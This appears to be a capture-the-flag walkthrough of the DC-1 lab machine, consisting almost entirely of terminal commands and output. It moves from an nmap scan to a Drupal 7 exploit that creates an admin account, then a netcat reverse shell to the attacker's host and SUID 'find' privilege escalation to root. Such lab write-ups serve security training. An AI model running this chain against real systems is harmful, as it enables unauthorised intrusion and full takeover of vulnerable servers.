DC-1 (Walkthrough)

┌─[✗]─[root@NITRO]─[~]
└──╼ #netdiscover -i vboxnet1
┌─[✗]─[root@NITRO]─[~]
└──╼ #nmap -v -sT -A -p- 192.168.57.3
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7
(protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f
(DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0
(RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8
(ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-favicon: Unknown favicon MD5:
B6341DFC213100C61DB4FB8775878CEC
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php
/INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 33917/udp6 status
| 100024 1 34849/udp status
| 100024 1 35201/tcp6 status
|_ 100024 1 44979/tcp status
44979/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:FA:DF:58 (Oracle VirtualBox virtual
NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Uptime guess: 0.037 days (since Fri Feb 21 15:21:23 2020)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
http://192.168.57.3
http://192.168.57.3/robots.txt
┌─[root@NITRO]─[~]
└──╼ #searchsploit drupal 7
┌─[root@NITRO]─[~]
└──╼ #python 34992.py -t http://192.168.57.3 -u guest -p guest
┌─[root@NITRO]─[~]
└──╼ #nc -nlvp 1234
nc -nv 192.168.57.1 1234 -e /bin/bash
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@DC-1:/var/www$ cat flag1.txt
find / -perm /4000 2>/dev/null
find . -exec '/bin/sh' \;
id
whoami
cat thefinalflag.txt

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store